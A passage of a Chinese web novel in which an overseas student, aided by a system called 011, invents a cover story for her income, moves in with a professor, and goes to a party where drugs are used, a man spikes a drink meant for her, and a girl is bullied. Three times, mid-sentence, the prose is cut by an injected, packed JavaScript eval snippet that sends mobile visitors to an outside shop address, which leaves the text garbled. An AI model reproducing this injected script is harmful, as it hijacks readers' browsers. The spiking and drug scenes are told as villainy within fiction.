她交个朋友到底怎么他们了?她认识的又不是什么坏人?难道真要她去嗑药开趴他们才高兴吗?? 再说了,他们自己不也还在和以前的亲戚朋友联系?天天发朋友圈晒自己在米国的“生活日常”,心思都怼人脸上了,她又不是没看到,她只是懒得拆穿而已。 结果她照顾他们的自尊心,他们却让她在朋友面前难做,这五千刀还是她和他们大吵一架才拿回来的。 左凌的心情有些低落,但很快就调整过来,跟个没事人一样问:“对了,你从哪里搞到那么多钱?是你爹又做人了?还是找你朋友借了?” 五千刀花起来很快,但赚起来可不是小数目,更何况她们留学生就算想勤工俭学也有固定的工时,超过了就不能做了。 国内以为很赚钱的小生意也很难干得起来,一旦被举报退学都是有可能的。 尤其明安白天还在为学费发愁,晚上就一下子掏出5000刀,真的把她下了一大跳。 嗯……谎言只有一次和无数次。 明安熟练地编道:“是明家的一个长辈给我的,他说我妈以前给我准备了成长基金,没让梁诚知道,也和他没有关系,现在每隔一段时间就会给我打钱,还挺多的。” 这个她和011通过气了,跨国资金比较没那么容易差,而且这个理由也很合理。 它做假账也是往这个方向做的。 “那就好……” 见她神色不像作假,而且状态也确实不错,左凌松了一口气,最近悬着的心终于落下。 她就担心朋友为了钱干傻事,拿自己的身体开玩笑,比如去给一些医药公司当临床试验者,虽然钱给得多,但风险太大了。 放下这件心事后,左凌终于忍不住继续说正事,激动地抱住明安晃来晃去,“明安明安明安!你猜我昨晚看见了什么!!!” 虽然已经看过相关报道了,明安还是惊讶道:“你看见了什么?可别告诉我是外星人!!!” 这时她们身后不知不觉坐满了人,就连鲍勃教授也在里面好奇地侧过了耳朵。 30. 第 30 章 在众人看来,论起知情人,唯二的目击者才是最佳售瓜对象。 尤其是左凌,她简直就是个自动售瓜机,都不需要问就自己绘声绘色说得清清楚楚,对“顾客”太友好了。 至于明安?她都没见过案发现场,还拽得跟二百五一样,她懂个屁的执法者。 学生们伸长脖子听得津津有味,鲍勃教授甚至直接向左凌递出了自己的话筒。 而明安夹在中间得到无数个白眼,突然觉得自己很多余。 但左凌抱住了她的胳膊不让走,显然还沉浸在自己回忆中,“好帅好帅!她真的好帅!!!” “你们相信我!执法者根本就不是他们说的什么蝙蝠侠的样子!她穿着很正规的作战服!黑色的,胸前还有赤旗!红得都要着火了!而且还是覆面!!!” “谁懂覆面的含金量!” 潘妮和其他几位女生被她带动了情绪,眼镜发亮,连连点头,显然在网上也没少刷。 明安却耸耸肩,随口就给老己一个背刺,“我懂,口罩一戴,是人都帅,帅是一种感觉,设计的完成度在于没有脸,覆面人最大的魅力在于女人的想象力……” “……” 左凌一噎,无语地推开她,“呸!你在质疑我裸眼5.2的视力吗?帅不帅我能不知道?” “别在这里吃不着葡萄就说葡萄酸了,你肯定是嫉妒我见过她!” 她点着明安的手臂警告,“姓明的,我告诉你,别仗着自己先来就胡说八道,自古青梅是打不过天降的!以后我的心要分一半给她了!你就在被子里偷偷哭去吧!” “……” 那不还是我的吗……? 明安欲言又止,止言又欲,最终还是放弃了,“……算了,你开心就好。” 左凌哼了一声,单手托着下巴继续浮想联翩,“那个腰,那个腿啊……如果她突然对我一见钟情的话……哎?明安,你说我要不要再被人绑架一次?” “?” 明安刚转过头去,又听得太阳穴突突直跳,“你信不信她连你一块儿扔去月球种地?” 可省省你的奇思妙想吧,一次绑架还不够让你长记性的? 左凌遗憾地叹了口气,“也是,她一看就是跑外勤的,被抓了以后就见不到她了。” “……” 明安不想再听她满嘴跑火车了,转身侧头挡脸,专心构思自己的期末作业。 这姐们热衷搞oc同人和二创,想一出是一出,什么都能给你搞成黄的,xp早就怪得不分纲门界目,上次更是拿着一张蓝环章鱼的图片问明安是不是很性感。 现在估计又是灵感来了。 其他同学和不务正业的鲍勃教授还意犹未尽,不断跟左凌打听着细节,“你真的确实她是人吗?可是人怎么可能做得到这样的事?那些失踪的人又去了哪里?” 左凌想了想,“这一点我还是能肯定的,她真的就是正常人穿着制服的样子,只不过帅得比较突出而已。” “至于其他的……” 她嘶了一声,努力回想昨晚发生的所有细节,有些不确定道:“也许她真的跟布鲁斯一样研究出了什么高科技的东西?又或者超能力真的存在?” “我就记得埃米他们一眨眼就消失了,像是魔法一样,瞬间哗啦啦地变成了几张中文判决书……” “但当时她放了迷雾弹,有点影响视线,而且我好像中了迷药,不一会儿就睡着了,不确定是不是看错了,还是什么障眼法……” 众人顺着她的描述去想象,很快就勾勒出了一个身穿黑色制服的人穿梭在城市中的画面。 不管准不准确,这对被超人电影从小熏陶到大的人来说都有着致命的吸引力。 而且左凌和互联网上哪些胡乱揣测的人不一样,她的描述很细节也很有画面感,足够令人信服,也足够令人憧憬。 “左,你太幸运了……” “真想亲眼见到那位传说中的执法者,看看是不是我想象中的那个样子……” “会有机会的,如果她还打算一直执行她的正义,而且不被抓住的话,迟早会被电子设备记录下来的,到那时所有人都会看到。” “阿门,我得为她祈祷……” 明安面无表情地听着,直到下课教室里的讨论声才渐渐结束,每个人都觉得心满意足。 唠吧,都唠吧,还好这节课是不太重要的选修课,不然全班包括教授都得挂科重修…… 待到人散去,左凌收拾好东西跟上明安,忽而想起一件事,凑过去小声地问:“对了,警察好像跟我打听过你,我大概和他们说了一下,没说太仔细,应该没什么事吧?” 这种情况下隐瞒反而还更惹人怀疑,更何况明安能和执法者有什么关系? 不过左凌觉得还是要说一声。 明安微微点头,表示自己知道,“没事,他们来找过我了,随便聊了几句就走了。” 虽然当时她也走了好一会儿…… 她心想还好左凌表现正常,详略得当,只提了这件事,没有提起上次她带的黄焖鸡。 要是那几个警察死磕黄焖鸡,非要刨根问底地调查黄焖鸡从哪来的,估计也不太好说。 不过011后来也打了补丁,保温盒的外形和西雅图某家中餐私厨挺像的,以后要真有人抠细节,伪造几个外卖订单就好。 经此一事,明安意识到一直鬼鬼祟祟进监狱睡觉也不是办法,想要不被人怀疑,必须衣食住行都看起来和正常人一样才行,她得在现实中找个地方住了。 左凌不疑有他,听明安说没事就没太在意了,她得意地拍了拍自己的包,“今天我也带了好吃的!” “走!我们干饭去!” 现在外面下了点小雨,风很冷,她们选择去最近的食堂,在二楼找了个角落的位置坐下。 这个点食堂里的人很多,不过座位很充裕,到处都有各种款式的桌椅,除了装修华丽了一点外和国内一些大学食堂也差不多。 明安拿出保温盒,将里面的红烧肉、菠菜汤和左凌带来的粉蒸肉放在一起,吃了个尽兴,再次给足了厨师011情绪价值,还把几个路过的亚洲留子馋得不轻,但又不好意思过来问。 这食堂里的伙食看着倒不算太差,各种沙拉、汉堡、披萨、牛排、咖喱、意大利面乃至中餐都有,偶尔还有游客过来拍照打卡。 但东亚留学生普遍称之为镶金的狗史,又贵又难吃。 “好漂亮的糖色!” “菠菜汤也好鲜!” 左凌搓搓手,飞快地拿起餐具,明安也夹了一块她带来的粉蒸肉。 然而就在她们吃得上头的时候,竟然意外看到了凯瑟琳教授。 对方刚从档口买了一份牛排意面,转身时也看到了她们,端着餐盘笑着走了过来。 明安微微一顿,对方脸上还带着些许处理过的伤痕,但整个人就像挣脱了一层枷锁,看起来焕然一新,好似也没有那么消瘦了。 而且凯瑟琳没有遮掩自己身上的痕迹,即便引起了很多目光和议论。 左凌愣了一下,很快就热情地拉开了旁边的椅子,“教授坐这里,来一起吃吧,这个粉蒸肉可是我亲手做的!” 凯瑟琳笑着坐下,看了一眼她们面前的餐盘,“你们吃得很丰盛,看来我来晚了。” “不晚不晚,还剩几块!” 左凌拿了双干净筷子夹了两块给她,凯瑟琳也照单全收,三人顺势就聊起了中餐。 明安是个很好的倾听者,左凌更是非必要不会让话掉地上,气氛很融洽。 凯瑟琳觉得和她们相处很舒服,最重要的一点是她们似乎相比自称开放多元的山姆国人其实更包容,不会太在意别人做了什么,像是发生了什么生活都还在继续。 她感到久违的放松,不禁笑了,“左的厨艺很好,如果你以后开了中餐厅,我一定会去的。” 凯瑟琳关心了一下左凌的伤和昨晚遭遇的事,紧接着又看向明安,“安,听说你的寄宿家庭出事了,现在有找到合适的住处吗?” 正常情况如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17116468|195046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 果学生不说,身为教授是很少关注得到这种小事的。 但凯瑟琳对明安的印象很好,对方那句“天无绝人之路”已经成了她的座右铭,而且她前夫和明安的寄宿家庭安德森一家有同样的遭遇,她难免会多了解一些。 明安想起教授的房子挺大的,离学校也近,而且刚走了一位住户,现在应该很宽敞。 于是她厚颜无耻地直球出击,“没有,您要邀请我去住吗?” 现在找个住处还挺麻烦的,单人公寓太贵,和人合租又不方便,还可能遇到闹心的室友,而且概率非常高。 毕竟同一个地区的人都有不同生活习惯,更何况是不同国家的人。 比如她就绝对受不了穿鞋子上床。 但凯瑟琳的家打理得很整洁,甚至还有在门口换鞋的习惯,明安上次看了还挺喜欢。 而且她从小到大学习成绩好,得到过很多老师私下的照顾,周末还经常去班主任家里写试卷、批作业和帮对方抄教案,完全不觉得和老师住一起有什么不方便的,有时候还能压榨老师的下班时间提升自己。 左凌听得都不敢吱声,默默给了她一个“勇气可嘉”的眼神。 凯瑟琳失笑,“是的,如果你愿意的话,可以随时过来,有几个很好的房间可以供你选择。” 其实她母亲原本都可以不用呆在储物间的的,只是罗伯逊不同意。 自从他走后,她才发现这个家原来那么大,空气那么通畅,打理得那么井井有条,每一个角落都有她用心生活过的痕迹,并不是完全作为牢笼而存在的。 凯瑟琳的思绪没有在这件事上停留太久,接着又带着些许歉意道:“不过你的院奖学金申请没有通过审核,他们不打算将国际生加入评选范围,我很抱歉。” 董事会现在似乎对她有意见,或许是因为其中一个人是罗伯逊的亲戚,又或许是她曝光的事影响了学校的名誉。 罗伯逊一个人的离开并没有给这座学校带来太大的变化,就连他发起的学费改革方案也并没有因为他的离开而消失。 很多东西都还在这座学校里根深蒂固着。 这太正常了,明安也没指望能占到山姆国的便宜,立刻答应道:“好啊,我今晚就过来,教授记得给我一点租金优惠!” 山姆国的房屋保险和社区服务费都是按人头收的,她贸然住过去会给凯瑟琳增加很大的负担,钱肯定要付的。 还有从罗伯逊那里审问出来的财产地址,也要找机会让凯瑟琳知道。 凯瑟琳笑了笑,“当然可以,但能争取到多少优惠就看你期末项目的表现了,你决定好考察方向了吗?哪个企业你比较感兴趣?” 进度为1%的明安:“……” 连作业是什么都忘了的左凌:“……” 两人一言难尽地将剩下的粉蒸肉都夹进了凯瑟琳的盘里,“吃饭吃饭,教授,你的意大利……面要凉了……” 呸,差点说成了意大利炮。 凯瑟琳看着他们笑,正要开口,却忽而有些走神,不知是想起了自己遥远的学生时代,还是从她们身上看到了无限希望的未来。 曾几何时她也和她们一样在这个餐厅享用着从家里带来的食物,和一两个朋友在角落聊聊天,看着喧闹的人群。 就在她们所在的位置。 窗外的雨似乎渐渐小了,餐厅里的人说说笑笑,新的一年也已经启程,就是不知什么时候这片土地才能真正的雨过天晴。 …… 凯瑟琳教授晚上还有点事,用完餐之后就将房子的钥匙直接给了明安,示意她随时搬过去,并告诉她玛丽很好相处。 左凌也觉得朋友和老师住一块儿先不管压力大不大吧,至少安全是挺安全的,心里也放心了不少。 然而她正想着一起去帮明安收拾东西,却得知明安没那么快回家,而是要去参加芭芭拉的party的时候,顿时感觉天塌了。 家人们,这还是我那老实人闺蜜吗——? “你果然有别的女人了!!!” 31. 第 31 章 山姆国很多现象总是令土生土长的东州人感到难以理解,比如芭芭拉。 明安本以为她会受到罗伯逊的威胁,是因为家庭经济紧张,付不起她的学费。 结果来到她家一看,嚯,五层大别墅,草坪有球场宽,还有一个超大的游泳池,比凯瑟琳教授的拉文纳社区还好了不止一个档次。 而且山姆国的公共交通是穷人专属,富人社区根本到不了,也不让修。 明安还是骑着左凌的自行车来的,抵达的时候天已经黑了,可把她累坏了。 等她气喘吁吁地在路边找个位置停下,左凌从后座上跳下来,幽幽开口:“这是资本主义国家,嫌贫爱富是他们的本质,能成为校园明星怎么可能真穷……” 先不论芭芭拉进入拉拉队训练参赛之类的要花多少钱,就单论人脉,她要是没有一个漂亮的家,怎么展开社交?怎么开她的大party?怎么让姐妹们玩得尽兴? 这一切都是要有硬性条件的。 不过这也不影响她可能有经济困难,因为芭芭拉的父母很可能在她成年后就没有再给她任何经济支持,也就是说她在学校的一切花销很可能都是她自己贷的。 这或许对任何一个东州人来说是一笔难以想象的数字,但在山姆国很普遍。 而且这并不能说明芭芭拉的父母就很无情,反而在大多数家庭里她父母其实已经很不错了。 至少他们没有将女儿从这个大房子里赶出去还任由她带同学来开party,就可以见得他们并不是真的对芭芭拉漠不关心。 只是可能被某些现实因素影响,而不得不要求女儿“独立自主”。 如果有得选,他们未必会这么做,毕竟虎毒不食子,为子计深远是动物的本能,就算是一个养了几十年的宠物都很难做到眼睁睁地看着它挨饿受冻,更何况是自己的亲生骨肉。 可惜这个现象被某些只看表象的人传回国内,就完全变了一个意思。 两人穿过修剪得很整齐的草坪,走向了那栋在夜色中灯火通明的别墅。 震耳欲聋的DJ声从里面渗了出来,不用想就知道里面多热闹,明安听得头大。 天晓得,她长这么大连酒吧都没去过呢。 左凌立刻发出嘲笑,“让你非要来,这下老实了?” “赶紧做好心理准备吧,他们开的party跟我们国人可不是一个档次的,酒吧商k在他们眼里都算清汤寡水……” 说完她摇了摇头,用没有受伤的手推开门,五颜六色的镭射灯瞬间就溢了出来,闪了她们一脸,音响大到令人耳膜发疼,无数身影在歌声和不明雾气中摇摆。 玄关处还有两个人吻得不知天地为何物,完全没有给她们让路的意思。 左凌一脚踹在堵门那男生的屁股上“fu*k!这是猪的臀部吗?!” 吓得人抱着女伴弹跳离开,她这才拉着明安的手一边开道一边说:“这种人就是欠抽,不这样他根本不带搭理你的。” 明安点了点头,虽然她没有参加过这种party,但以她看美剧的经验,文明礼貌只会令他们装聋作哑,指不定还会把她们当个笑话看,借整蛊的机会当众霸凌。 她表示自己学会了,有样学样地踹开另一对就要撞过来的忘情男女,“找个房间吧,没人想看你□□里的小可爱。” “……” 明安用极度平静的语气说出来的话,不但吓坏了那位男士,更惊呆了左凌。 她不敢置信地看着自己闺蜜,仿佛第一天认识她。 而明安完全不觉得自己的行为和形象有什么冲突,反而对自己的学习能力表示肯定。 证明自己可以独当一面后,她将左凌这个伤患护至身后,一路挤进了客厅。 原本准备好带着自己天真无知的闺蜜进行大逃杀的左凌恍恍惚惚,心想你这已经不是学习了,你是已经超越了! 至少她第一次来到这种场合就绝对不敢这么做! 左凌的眼神逐渐惊恐,她觉得自己可能无意间踢碎了明家的百年家教。 到时候看到这样一个继承人,他们真的不会扛着飞机来追杀她吗? 然而震耳欲聋的音响并没有给左凌开口的机会,明安也没注意到她三观震碎的眼神。 她一心寻找着芭芭拉,对方给她的那封信实在是令人放心不下。 而且不知道是不是她听错了,当时对方将信拍在她桌上的时候似乎很艰难地说了一句“please”,隐约带着一丝哀求,像是把她当成了最后一根救命稻草。 可罗伯逊已伏法,芭芭拉还有什么可恐惧的? 明安这样想着,目光在人群中搜寻,左凌则小心翼翼地在她旁边科普。 “那什么,我跟你说啊……别人递给你的酒水饮料你千万别喝、遇到那种紧闭的房门也千万别打开、想静一静就回家,别去那种犄角旮旯的地方透气,因为干坏事的也爱去,万一撞见了什么很难解释得清,很多电影里的凶杀案都是这么发生的……” “还有,如果你看上哪个男人了,咱就先忍一忍,拍照回去搜同款,千万别跟他们过夜,这里的人没有安全保障的……” “……” 这也能搜同款?明安震惊了,但她表示自己真的没有这方面的兴趣。 左凌继续郑重地叮嘱,“还有最重要的一点!千万千万千万不能吸·毒!不管他们是递给你一支烟、一颗糖、一块饼干,又或者一瓶‘氧气’,你都千万别信!” “甚至冰箱里那种看起来很正常的可乐你也不能自己拿,要知道可乐最开始就不是正经可乐,那玩意儿以前是真的‘快乐水’!里面是有可·卡·因的*!现在还有人爱往里面加东西!” “还有那种掉地上的那种漂亮小卡片或者邮票,你也不能好心去帮人家捡,因为那可能是含服的致·幻剂,接触到皮肤也会渗入的!” 明安虽然早有心理准备,但还是被本地人花样繁多的“特产”惊呆了。 而且这东西普及到什么程度呢,左凌刚说完她就看见了真的,一阵带着刺鼻气味的雾气从客厅中央飘了过来。 只见一群人围在茶几旁有说有笑,有蹲在地上吸的,有坐在沙发上抽的,也有吞了几颗糖站在茶几上摇头晃脑的。 炫目的灯光打在他们脸上,照亮了他们陶醉的神情,仿佛世上没有什么人能比此时此刻的他们更快乐了。 明安仿佛被这个场景吸引了,缓缓开口,“……凌凌,你说这栋房子里现在有多少人在吸|毒??” “这哪里数得清?” 左凌下意识开口,却隐约察觉到好友语气中隐含的兴奋,顿时警铃大作,一把抓住她的肩膀晃动起来,“你在想什么?!告诉我!我刚刚的话你全当耳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17122325|195046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 旁风了吗?!你还是不是东州人?!” “……” 明安沉默了一下,按耐住蠢蠢欲动的念头,“……你误会了,我只是想起了别的开心的事。” 她在想如果能把这群人一网打尽,今晚的KPI应该能完成了。 所以那些本来应该称作“同学”的生物,在她看起来完全和钞票无异…… 这对穷鬼怎么会没有吸引力呢? 然而左凌却怎么也想不出有什么开心的事能看着毒虫联想起来,仍死死地盯着她,“我不信!除非你跟我说东州人不骗东州人!” 明安对她的禁|毒意识欣慰又无奈,“……东州人不骗东州人。” 左凌这才勉强放过她,示意她走向楼梯间,“别看了,引起这群人的注意不是什么好事,芭芭拉不在这层,我们上二楼看看。” 明安点头,顺着她指的方向走去。 然而就在两人消失的时候,一首DJ刚好播完。 客厅里忽而安静了一下。 镭射灯依旧在摇晃,投下斑驳的光影,但热烈的气氛却莫名冷却下来,变得有些诡异。 那些原本沉浸在自己的世界里的人不约而同地朝明安和左凌离开的方向看过去,神情有些古怪和兴味,像是看到了两个私自闯入的异类,也像是百无聊赖的肉食动物突然得到了新玩具。 偏偏对方还毫无自觉。 片刻后,正在沙发中央的金发白男吐出一口白雾,发出一声意味深长的感慨,“Oh,简直难以置信,她们居然真的敢过来,也不知道芭芭拉是怎么想的……” 他是一副典型的花花公子形象,大冷天敞开着热带衬衣,露出里面“性感”的胸毛,也算是一种另类的“美式甜心”,在影视剧里很吃香,在学校也非常受欢迎。 周围的人显然以他为中心。 音乐短暂地停顿了一下后,又恢复了劲爆的节奏,周围的人也继续舞动起来,仿佛什么都没有发生过一样。 坐在地上吸粉的人想起什么,拍了一把花花公子的腿大声道:“嘿,布雷克,你‘旧情复燃’了?这可会伤坏你新交的小女友!” 说起这个众人很快就想起了一件发生在三年前的往事。 那时候明安才刚刚入学。 而布雷克已经是学校里有名的漂亮混蛋,明明很多金发碧眼的白女对他表白,他却喜欢去撩拨那些不受人关注的边缘人。 他对她们展开热烈的追求,说数不清的情话,掉眼泪装可怜也不在话下,每次都表现得仿佛失去对方自己就会死。 而且稍微有点进展布雷克就会带对方出入各种场合,定制戒指和试穿婚纱,营造出各种深情的氛围,怂恿她们荒废学业和自己结婚,并承诺一定会让她们拿到绿卡。 然而一旦他追求的目标沉沦其中,他就会断崖式地和她们分手,任由他人奚落和观赏她们的痛苦。 偏偏这座学校那么大,并不是每个人都能知道这些事,更别提那些本就社交面狭窄的边缘人。 没人会特意提醒她们,她们也没有渠道去获取信息,很多人觉得她们是“罪有应得”,认为是她们自己的贪婪害了自己。 他们把这当做每天的乐子,每天都期待有新的事情发生,并且时常配合怂恿。 于是布雷克屡试不爽,并且乐此不疲。 直到他盯上了明安。 32. 第 32 章 这个女留学生和他过去那些“乐子”没有什么区别,性格上相似,行事作风也一样,他以为自己可以手到擒来。 结果却罕见得滑铁卢了。 因为明安根本就油盐不进,而且顶着一张天真无辜的脸,却做着比他还“混蛋”的事! 起初她拒绝他说:“抱歉,家里不让我谈外地的男朋友,而且我不喜欢白人。” OK,布雷克去美黑,并看了很多书教她如何摆脱原生家庭的束缚。 接着她又为难地说:“和家庭没有关系,每个人都有每个人的审美,我接受不了你们的体毛和味道……你能理解我的意思吗?” OK,布雷克去脱毛,一天洗三次澡,天天喷香水和除臭剂,经常凌晨捧着花站在她家的窗台下,还天天表演自卑破碎美男子。 他不信这样还不能捕获他的心。 然而她的神情看起来却更加难以形容了,“我认为人不能为了爱情失去自我,去迎合别人的审美,也希望你能听懂别人的拒绝……” 明安叹了口气,同情地看着他说:“去看看心理医生吧,我觉得在爱别人之前,你应该先学会如何爱自己。” 布雷克:…… 这个东方留学生什么都不知道,也完全没有恶意,却给了他史无前例的重创。 让他很长一段时间都是朋友们口中的笑柄,还有风言风语说他在失去了魅力的同时也失去了胸毛。 然而此时此刻,对方却全然忘记了他。 布雷克从未受过这样的耻辱。 站在茶几上摇头晃脑的白男喟叹一声,梦到哪句说哪句一样开口,“哦……布雷克,我们支持你‘重拾旧爱’,毕竟这次可是她自己送上门来的……天哪,我好像看到了你们的婚礼,我已经来到了你们的婚礼上吗……” 布雷克颇为性感地嗯哼了一声,“也许呢,但明天清晨我们就会‘离婚’,毕竟我的女友从来不隔夜,祝我拥有美好的一晚吧……” “Cool!” “布雷克你这个混蛋!” “你不会成功的!” 周围的人哄笑一声,心想这家伙越来越自大了,之前几个月都没有追到手,现在一晚上就敢举办婚礼了,显然肚子里没装好货。 不过这也不是没有可能的,毕竟在这样混乱的地方,那个东方女孩简直就像懵懂的羊羔一样诱人,想发生一点什么太容易了,更何况是布雷克这样的情场老手。 这样想着,众人兴奋起来,放了一首更加热情似火的DJ助兴。 布雷克则熄灭了叶子,拿起几个分不清是喝过还是没喝过的酒杯,专心调配起鸡尾酒来。 他随意用手指在杯子上碾了碾,一撮“白糖”便落入其中无声地融化了,只浮起些许细小的气泡,看起来甜蜜又诱人。 大功告成后,布雷克晃了晃酒杯,尝了一口,满意地笑了。 没人觉得有什么不对,也没人思考后果,所有人都把这当成一个取乐的小点子。 谁让她要自己送上门来呢?这种地方是她们能来的吗? 既然来了,就要做好付出代价的准备…… 然而并不是所有人都对此抱有信心,比如刚刚被明安飞的那名男生。 他已经失去了他的女伴,正待在角落揉屁股。 听到布雷克等人的话,他咽了咽口水,觉得事情可能没有那么简单。 毕竟没见过哪个名副其实的乖乖女,会这么不留情面地攻击他的“小可爱”…… …… 明安已经发现了,这个party与其说是庆祝芭芭拉夺得队长之位的,不如说是这群人随便找个理由来嗨的,完事儿之后还不用他们收拾残局。 而且芭芭拉并不算一言堂,这群人的金字塔顶端上一共有三个人,除她之外还有卡罗琳和布雷克。 布雷克她觉得有点眼熟,但一时间没想起来是谁,可能是原主以前见过。 卡罗琳则是芭芭拉的死对头,二人的拉拉队队长之争在学校闹得沸沸扬扬,纵使她们表面看起来很亲密,但谁都知道她们不对付。 就连表面的亲密也不是芭芭拉愿意的,是卡罗琳营造出来的。 二楼的地毯上,一群女生围在一起玩游戏,虽然没有楼下吵闹,但也好不到哪里去,明安一上来就被一股浓郁的酒气熏到了。 紧接着就听到一声哄笑。 “该你了卡罗琳!” “你不能再放过芭芭拉了,你得问一个有趣的问题!” “你说过你知道她秘密!” 她们似乎在玩一种“BeerPong(啤酒乒乓)”与真心话大冒险相结合的游戏。 酒瓶子一转,瓶口对准的人负责提问,瓶底对准的人负责回答。 被提问的人必须说真话,如果遇到不想回答的问题就要喝下一整瓶啤酒,而被发现撒谎则会被所有人灌酒。 这次提问的人是卡罗琳,接受提问的人是芭芭拉。 芭芭拉显然并没有从这个游戏中体会到什么乐趣,她冷着一张脸,浑身上下都写满了紧绷和排斥。 然而其他人并不打算让她离开,两个女生勾住了她的肩膀,以一种亲密的姿势将她按在原地,发现她的情绪后反而更加兴奋了。 “你在紧张吗芭芭拉?” “Oh!你不能走!” “卡罗琳你快点问!” 卡罗琳坐在芭芭拉对面,不同于芭芭拉金发碧眼的经典白女长相,她化着很适合自己风格的妆容,保留了自己原生态的褐发,将其打理得柔顺又有光泽,耳垂上的宝石若隐若现,衬得她的脸像国际超模一样贵气。 她的五官也比芭芭拉柔和,没有那么强的攻击性,笑起来的时候也很有亲和力,那双眼睛看谁都显得很友善。 听到周围起哄的声音,她拨了拨头发,有些为难地看着芭芭拉开口,“这已经是第三次了,Honey(亲爱的),或许这就是上帝的旨意,我想我们不能再逃避了……” 芭芭拉冷哼一声,“收起你恶心的姿态,bic*h。” 角落里,左凌小声地对明安说:“看出来了吧,善良的人总是相似的,讨厌的人各有各的bic*h……” “……” 用左凌的话来概括,如果说芭芭拉是那种看你不顺眼就直接冲你翻白眼的人,卡罗琳则是即便看你不顺眼也仍然亲热地叫叫你好姐妹,然后转头就翻白眼而且不背着你的人。 偏偏很多刚开始和她接触的人发现不了她的异常,尤其是那些新生。 如果你刚入学,正处于六神无主的时候,一个传说中很受欢迎的女生走过来夸你的美甲很漂亮,还牵起你的手看了又看,表现得十分亲密,像是一只高贵冷艳的猫对其他人不假辞色,独独蹭了你一下,还要和你交朋友,你一定会感到受宠若惊的。 左凌就体验过。 然而她还没走远,就听到对方捂着唇,用她完全听得见的声音说:“OMG,她把站街女的流行色涂在了自己短小的手指上……” 周围发出一阵哄笑。 等她不敢置信地回头一看,对方又笑吟吟地发出疑惑,“怎么了,Honey?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17128549|195046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 大大方方的,完全没有丝毫回避和心虚,仿佛刚刚那句话就是你的错觉。 不少人被弄得茫然又内耗,过了很久才反应过来自己是被霸凌了。 卡罗琳用手指绕着一缕头发,想了想,终于笑吟吟地问了芭芭拉一句,“亲爱的,你最近一次做|爱是和谁?” 这个问题其实有些常规,众人有些失望,但还是勉强配合得“哦~”了一声,看向芭芭拉。 芭芭拉直接灌了自己一瓶啤酒,冷冷地开口,“下一个。” 这就让众人有些意外了。 这个问题不是很好回答吗? 芭芭拉有一个在橄榄球队的男朋友,虽然听说上周分手了,但这才过去几天,应该就是他了吧? 这有什么不能说的? 卡罗琳依旧在微笑,紧接着众人便激动地想到,对了!卡罗琳怎么会问这么显而易见的问题?除非它有一个出人意料的答案! 而且芭芭拉不想告诉她们! “Oh,oh!不是他!” “芭芭拉,你有新的男朋友了吗?!” “什么时候介绍给我们!” 芭芭拉刚喝完一瓶酒,头疼欲裂,眼前这一张张兴奋的脸似乎都变得有些扭曲了。 她的呼吸加重,愤怒地开口,“现在需要回答问题的人不是我!” “下一个!!” 众人被她尖锐的声音吓了一跳,确实没有再问,但互相对视一眼,看芭芭拉的目光已经有些古怪了。 到底是什么人让她如此难以启齿? 酒瓶再次被转动了—— 寂静中,玻璃和地板发出一阵滚动摩擦声,在所有人紧张的目光下,瓶口又对准了卡罗琳,瓶底的指向自然也和之前一样。 众人呼吸一滞,很快意识到今晚不是一个简单的真心话beerpong。 “Fu*k!” 芭芭拉猛地扯开搭在自己身上的手臂,死死地瞪向转瓶子的人,“贱人!你故意的是不是?!” 那人耸肩摊手,“芭芭拉,你怎么能这样说呢?没有人能控制瓶子的转动,这明明是上帝的旨意……” “芭芭拉,这只是一个游戏而已,不要太激动,今天可是你晋升队长的日子……”旁边的女生将芭芭拉拉回来,手臂箍得更紧了。 芭芭拉的被迫留在原地,愤怒地盯着对面的人,显然已经知道了对方的打算。 卡罗琳依旧维持着她完美而温柔的笑容,“是学校的人吗?亲爱的,我猜他比你年长……” 众人终于由衷地发出了一声“哇哦”的声音,全神贯注地看着眼前的两人,仿佛这个夜晚从这一刻起终于变得有趣了起来。 “比她年长?OMG……” “芭芭拉,你太令人吃惊了,我没想到你喜欢这种风格的……” “是学长吗?还是学校的教授?” “别害羞,快告诉我们吧……” 众人不管不顾的逼问接踵而来,兴奋的眼神像是发现了腐肉的蝇虫,让芭芭拉无处可逃。 她呼吸有些颤抖,整个人已经处于崩溃的边缘,可没人关注也没人在意她在状态,她只能强撑着最后一丝意识艰难地伸手去拿啤酒。 “不可以,芭芭拉,你已经喝过三次了,这是违反规则的……” 有人将她的手拽回来,卡罗琳微笑地看着她,温柔又体贴,“说出来吧,Honey,没关系的,像她们一样勇敢地说出来,我相信你不会做一个胆小鬼……” 左凌看得毛骨悚然,“安安,她们——” 33. 第 33 章 罗伯逊案的很多受害者都站出来了指认他,但里面没有芭芭拉。 这没什么奇怪的,从对方在隔间的表现明安就知道她不想这件事被别人知道,她害怕被别人知道,同时也为此感到深深的自责。 